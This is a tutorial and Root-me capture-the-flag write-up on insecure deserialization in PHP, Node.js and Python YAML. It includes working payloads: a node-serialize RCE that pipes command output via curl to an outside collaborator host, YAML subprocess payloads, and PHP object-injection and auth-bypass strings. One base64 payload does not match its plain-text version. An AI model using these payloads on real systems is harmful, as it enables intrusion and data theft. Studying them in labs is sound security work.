Basic Concepts
Serialization
Serialization is the process of transforming complex data structures, such as objects and their fields into a human-readable or binary format (or a mix of both) that can be stored or transmitted and reconstructed as and when required.
When an object is serialized, its state remains unchanged (properties with assigned values).
For example:
<?php
class Person {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
}
$data = array(
"name" => "hoalvh",
"isAdmin" => True
);
$person = new Person("John", 30);
$serialized1 = serialize($person);
$serialized2 = serialize($data);
echo $serialized1;
echo "\n";
echo $serialized2;
?>
Result:
O:6:"Person":2:{s:4:"name";s:4:"John";s:3:"age";i:30;}
a:2:{s:4:"name";s:6:"hoalvh";s:7:"isAdmin";b:1;}
Deserialization
Deserialisation is the process of converting the formatted data back into an object. It’s crucial for retrieving data from files, databases, or across networks, restoring it to its original state for usage in applications.

With the example above, we can serialize the object Person and data into strings. Then we can deserialize the strings back into objects.
<?php
$serialized1 = "O:6:\"Person\":2:{s:4:\"name\";s:4:\"John\";s:3:\"age\";i:30;}";
$serialized2 = "a:2:{s:4:\"name\";s:6:\"hoalvh\";s:7:\"isAdmin\";b:1;}";
$person = unserialize($serialized1);
$data = unserialize($serialized2);
echo $person->name;
echo "\n";
echo $data["isAdmin"];
?>
Result:
John
1
Insecure deserialization
Insecure deserialization occurs when an application blindly trusts and deserializes user-controllable data without proper validation. This critical vulnerability allows attackers to manipulate serialized data, often replacing expected objects with instances of entirely different, malicious classes—a technique commonly known as object injection.
The most dangerous aspect of this flaw is that the attack is typically executed immediately during the deserialization process itself. This means the malicious payload runs and inflicts damage before the application even finishes unpacking the object, attempts to interact with it, or throws an error. Because the attack triggers upon instantiation, even applications built on strongly typed languages remain highly vulnerable to severe consequences like remote code execution.
Identification
With source code access
When access to the source code is available, identifying serialisation vulnerabilities can be more straightforward but requires a keen understanding of what to look for. For example, through code review, we can examine the source code for uses of serialisation functions such as serialize(), unserialize() in PHP; pickle.loads() in Python; Marshal.load() in Ruby; ObjectInputStream.readObject() in Java, and others. We must pay special attention to any point where user-supplied input might be passed directly to these functions.
No source code access
During auditing, we should look at all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if we know the format that different languages use.
For example, with PHP, serialized data looks like this:
O:6:"Person":2:{s:4:"name";s:4:"John";s:3:"age";i:30;}
Where:
Oindicates an object6is the length of the class name"Person"is the class name2is the number of propertiess:4:"name"is a string property named “name” with length 4s:4:"John"is a string value “John” with length 4s:3:"age"is a string property named “age” with length 3i:30is an integer value 30
Some languages, such as Java, use binary serialization formats. Serialized Java objects always begin with the same bytes, which are encoded as \xAC\xED in hexadecimal and rO0 in Base64.
Root-me challenges
PHP - Unserialize Pop Chain
Link challenge: https://www.root-me.org/en/Challenges/Web-Server/PHP-Unserialize-Pop-Chain
Statement: Can you avoid the security your friend put in place to access the flag?
Source code available:
<?php
$getflag = false;
class GetMessage {
function __construct($receive) {
if ($receive === "HelloBooooooy") {
die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
} else {
$this->receive = $receive;
}
}
function __toString() {
return $this->receive;
}
function __destruct() {
global $getflag;
if ($this->receive !== "HelloBooooooy") {
die("[FRIEND]: Hm.. you don't seem to be the friend I was waiting for..<br>");
} else {
if ($getflag) {
include("flag.php");
echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
}
}
}
}
class WakyWaky {
function __wakeup() {
echo "[YOU]: ".$this->msg."<br>";
}
function __toString() {
global $getflag;
$getflag = true;
return (new GetMessage($this->msg))->receive;
}
}
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (isset($_POST["data"]) && !empty($_POST["data"])) {
unserialize($_POST["data"]);
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<title>PHP - Unserialize Pop Chain</title>
</head>
<body>
<h1>PHP - Unserialize Pop Chain</h1>
<hr>
<br>
<p>
Can you bypass the security your friend put in place to access the flag?
</p>
<br>
<form class="" action="index.php" method="post">
<textarea name="data" rows="5" cols="33" style="width:35%"></textarea>
<br>
<br>
<button type="submit" name="button" style="width:35%">Submit</button>
</form>
<br>
<p>
You can also <a href="?source">View the source</a>
</p>
</body>
</html>
Code analysis
This challenge provides us a simple PHP application logic: it unsecurely unserializes our data without any sanitization.
Let’s analyze the code step by step:
__construct()method ofGetMessageclass:
function __construct($receive) {
if ($receive === "HelloBooooooy") {
die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
} else {
$this->receive = $receive;
}
}
This method checks if the receive property is equal to “HelloBooooooy”. If it is, it dies. Otherwise, it sets the receive property to the value of the receive parameter.
__toString()method ofGetMessageclass:
function __toString() {
return $this->receive;
}
This method returns the value of the receive property.
__destruct()method:
function __destruct() {
global $getflag;
if ($this->receive !== "HelloBooooooy") {
die("[FRIEND]: Hm.. you don't seem to be the friend I was waiting for..<br>");
} else {
if ($getflag) {
include("flag.php");
echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
}
}
}
This method checks if the receive property is equal to the string “HelloBooooooy”. If it is, it continues to check if the getflag varibale is true. If both conditions are met, flag.php is included and the flag is printed.
So now we’ve known the sink is the magic method __destruct in GetMessage class. Now we need to find a way to call this method and set the properties of the object to the desired values.
Looking at the WakyWaky class. It has two magic methods including __wakeup() and __toString(). The __wakeup() method is called when an object is created from a serialized string, whereas __toString() method is called when an object is converted to a string.
function __wakeup() {
echo "[YOU]: ".$this->msg."<br>";
}
function __toString() {
global $getflag;
$getflag = true;
return (new GetMessage($this->msg))->receive;
}
This is the source we’re looking for. If we pass an object of WakyWaky class as a argument to the echo, it will call __toString() magic method to set $getflag to true and return (new GetMessage($this->msg))->receive.
But there’s a problem, the __construct() method of GetMessage class checks if the receive property is strictly equal (===) to the string “HelloBooooooy”. If it is, it dies. To bypass this, we need $this->msg to be an Object of the GetMessage class instead of a String. Because an Object is not strictly equal to a String, the check fails, and we safely bypass the die().
Exploit
<?php
class GetMessage {
public $receive = "HelloBooooooy";
}
class WakyWaky {
public $msg;
}
$g1 = new GetMessage();
$w2 = new WakyWaky();
$w2->msg = $g1;
$w1 = new WakyWaky();
$w1->msg = $w2;
echo serialize($w1);
?>
Result:
O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}

PHP - Serialization
Link challenge: https://www.root-me.org/en/Challenges/Web-Server/PHP-Serialization
Description: Get an administrator access !
Source code available:
<?php
define('INCLUDEOK', true);
session_start();
if(isset($_GET['showsource'])){
show_source(__FILE__);
die;
}
/******** AUTHENTICATION *******/
// login / passwords in a PHP array (sha256 for passwords) !
require_once('./passwd.inc.php');
if(!isset($_SESSION['login']) || !$_SESSION['login']) {
$_SESSION['login'] = "";
// form posted ?
if($_POST['login'] && $_POST['password']){
$data['login'] = $_POST['login'];
$data['password'] = hash('sha256', $_POST['password']);
}
// autologin cookie ?
else if($_COOKIE['autologin']){
$data = unserialize($_COOKIE['autologin']);
$autologin = "autologin";
}
// check password !
if ($data['password'] == $auth[ $data['login'] ] ) {
$_SESSION['login'] = $data['login'];
// set cookie for autologin if requested
if($_POST['autologin'] === "1"){
setcookie('autologin', serialize($data));
}
}
else {
// error message
$message = "Error : $autologin authentication failed !";
}
}
/*********************************/
?>
<html>
<head>
<style>
label {
display: inline-block;
width:150px;
text-align:right;
}
input[type='password'], input[type='text'] {
width: 120px;
}
</style>
</head>
<body>
<h1>Restricted Access</h1>
<?php
// message ?
if(!empty($message))
echo "<p><em>$message</em></p>";
// admin ?
if($_SESSION['login'] === "superadmin"){
require_once('admin.inc.php');
}
// user ?
elseif (isset($_SESSION['login']) && $_SESSION['login'] !== ""){
require_once('user.inc.php');
}
// not authenticated ?
else {
?>
<p>Demo mode with guest / guest !</p>
<p><strong>superadmin says :</strong> New authentication mechanism without any database. <a href="index.php?showsource">Our source code is available here.</a></p>
<form name="authentification" action="index.php" method="post">
<fieldset style="width:400px;">
<p>
<label>Login :</label>
<input type="text" name="login" value="" />
</p>
<p>
<label>Password :</label>
<input type="password" name="password" value="" />
</p>
<p>
<label>Autologin next time :</label>
<input type="checkbox" name="autologin" value="1" />
</p>
<p style="text-align:center;">
<input type="submit" value="Authenticate" />
</p>
</fieldset>
</form>
<?php
}
if(isset($_SESSION['login']) && $_SESSION['login'] !== ""){
echo "<p><a href='disconnect.php'>Disconnect</a></p>";
}
?>
</body>
</html>
This challenge is a little bit different from the one above. Instead of using pre-built gadgets and requiring us to chain them together, we need to find a way to get the superadmin access through the unserialize() function by exploiting the PHP Type Juggling.
Let analize it in depth. First, we need to see how it handles the authentication:
if(!isset($_SESSION['login']) || !$_SESSION['login']) {
$_SESSION['login'] = "";
// form posted ?
if($_POST['login'] && $_POST['password']){
$data['login'] = $_POST['login'];
$data['password'] = hash('sha256', $_POST['password']);
}
// autologin cookie ?
else if($_COOKIE['autologin']){
$data = unserialize($_COOKIE['autologin']);
$autologin = "autologin";
}
// check password !
if ($data['password'] == $auth[ $data['login'] ] ) {
$_SESSION['login'] = $data['login'];
// set cookie for autologin if requested
if($_POST['autologin'] === "1"){
setcookie('autologin', serialize($data));
}
}
else {
// error message
$message = "Error : $autologin authentication failed !";
}
}
Initially, it checks if the $_SESSION['login'] is not set or empty. If so, it initializes it to an empty string.
Then, it checks if the user sends login and password via a $_POST request. If they do, it assigns the login input to $data['login'] and hashes the password using SHA-256 before assigning it to $data['password'] (Because of this hashing, we cannot control the data type of the password here).
Otherwise, if no POST data is sent, the script checks if the autologin cookie is set. If it exists, it directly calls unserialize() without any sanitization on the cookie and assigns the result to $data. Since it blindly unserializes user input, we have full control over the $data.
The rest of the code is quite simple, it verifies the password using the loose comparison operator: if ($data['password'] == $auth[$data['login']]). By injecting a boolean true as our password via the cookie, the check becomes true == "sha256_hash". In PHP < 8, this always evaluates to true, so we can bypass the authentication.
Exploit
Since it already provides demo credentials, so we can use them to login and see how it works.


The server responses with autologin cookie:
a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}
We can manually change the login to superadmin and password to true, or use the following script to generate the payload:
<?php
$data = array(
"login" => "superadmin",
"password" => true
);
$payload = serialize($data);
echo $payload
?>
Result: a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}

Node - Serialize
Link challenge: https://www.root-me.org/en/Challenges/Web-Server/Node-Serialize
Statement:
Serode Company is an experienced company and a competitor of Texode Company.
They do not hesitate to state that they are better than their competitors and that you will not find any vulnerabilities on their site.
Prove them wrong by being able to read the file containing the flag!
Recon
No source code available so we need to recon its behavior.
This challenge has a simple login page:

Now I login with test:test to see how it responses:

The server responses with set-cookie header:
Set-Cookie: profile=eyJ1c2VyTmFtZSI6InRlc3QiLCJwYXNzV29yZCI6InRlc3QifQ%3D%3
We can base64 decode the cookie to see the content:
{ "userName": "test", "passWord": "test" }
Exploit
With the hint “Node - Serialize”, we can guess that the server uses serialize function to serialize the cookie. Here I used pre-built payload from PayloadsAllTheThings and modified it a bit:
{"userName": '_$$ND_FUNC$$_function(){ require(''child_process'').execSync(''curl -X POST -d "$(ls -la)" lrgcma9mqh55i2z6yukjc4ruhlncb2zr.oastify.com''); }()',"passWord": "test"}
This payload creates a child process that executes the given command and sends the result to a server that we control.
Base64 encoded:
eyJ1c2VyTmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXsgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjdXJsIC1YIFBPU1QgLWQgXCIkKGxzIC1sYSlcIiBscmdjbWE5bXFoNTVpMno2eXVramM0cnVobG5jYjJ6ci5vYXN0aWZ5LmNvbScpOyB9KCkiLCJwYXNzV29yZCI6ICJ0ZXN0In0=
This payload shows the content of / directory.

Read the flag:
{
"userName": "_$$ND_FUNC$$_function(){ require('child_process').execSync('curl -X POST -d \"$(cat flag/secret)\" lrgcma9mqh55i2z6yukjc4ruhlncb2zr.oastify.com'); }()",
"passWord": "test"
}
Base64 encoded:
eyJ1c2VyTmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXsgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjdXJsIC1YIFBPU1QgLWQgXCIkKGNhdCBmbGFnL3NlY3JldClcIiBscmdjbWE5bXFoNTVpMno2eXVramM0cnVobG5jYjJ6ci5vYXN0aWZ5LmNvbScpOyB9KCkiLCJwYXNzV29yZCI6ICJ0ZXN0In0=

Yaml - Deserialization
Link challenge: https://www.root-me.org/en/Challenges/Web-Server/Yaml-Deserialization
Statement:
This site is not finished and is vulnerable. Find and exploit the vulnerability to get the flag!
Recon
This blackbox challenge is about YAML deserialization vulnerability in python.

The web site automatically redirect us to http://challenge01.root-me.org:59071/eWFtbDogV2UgYXJlIGN1cnJlbnRseSBpbml0aWFsaXppbmcgb3VyIG5ldyBzaXRlICEg
Base64 decode the content:
yaml: We are currently initializing our new site !
The result after base64 decode is exactly the same as the message on the website. This means the server directly deserializes the payload that we pass into the URL path.
Exploit
Using payload from PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
yaml: !!python/object/new:subprocess.check_output [["ls", "-la"]]
Base64 encode the payload:
eWFtbDogISFweXRob24vb2JqZWN0L25ldzpzdWJwcm9jZXNzLmNoZWNrX291dHB1dCBbWyJscyIsIi1sYSJdXQ==

Result:
total 192
drwxr-s--- 5 web-serveur-ch71 web-serveur-ch71 4096 déc. 12 2021 .
drwxr-s--x 99 challenge www-data 4096 mars 21 2025 ..
-r-x------ 1 web-serveur-ch71 web-serveur-ch71 1038 déc. 10 2021 ch71.py
---------- 1 web-serveur-ch71 web-serveur-ch71 3266 déc. 10 2021 ch71.tar.gz
-r-------- 1 root root 47 déc. 10 2021 ._firewall
-rw-r----- 1 root www-data 44 déc. 10 2021 .git
-rw-r----- 1 root web-serveur-ch71 181 déc. 12 2021 .gitignore
-r-------- 1 challenge challenge 123 déc. 10 2021 ._nginx.server-level.inc
-r-------- 1 web-serveur-ch71 web-serveur-ch71 32 déc. 10 2021 .passwd
-r-------- 1 root www-data 4681 déc. 18 2021 ._perms
-r-------- 1 web-serveur-ch71 web-serveur-ch71 47 déc. 10 2021 requirements.txt
-rwx------ 1 web-serveur-ch71 web-serveur-ch71 175 déc. 10 2021 ._run
drwx------ 3 web-serveur-ch71 web-serveur-ch71 4096 déc. 10 2021 static
drwx------ 2 web-serveur-ch71 web-serveur-ch71 4096 déc. 10 2021 templates
drwxr-sr-x 3 web-serveur-ch71 web-serveur-ch71 4096 déc. 11 2021 yaml
---------- 1 web-serveur-ch71 web-serveur-ch71 127485 déc. 10 2021 yaml_3.13.tar.gz
Read the flag:
yaml: !!python/object/new:subprocess.check_output [["cat", ".passwd"]]
Base64 encode the payload:
eWFtbDogISFweXRob24vb2JqZWN0L25ldzpzdWJwcm9jZXNzLmNoZWNrX291dHB1dCBbWyJjYXQiLCJmbGFnL3NlY3JldCJdXQ==
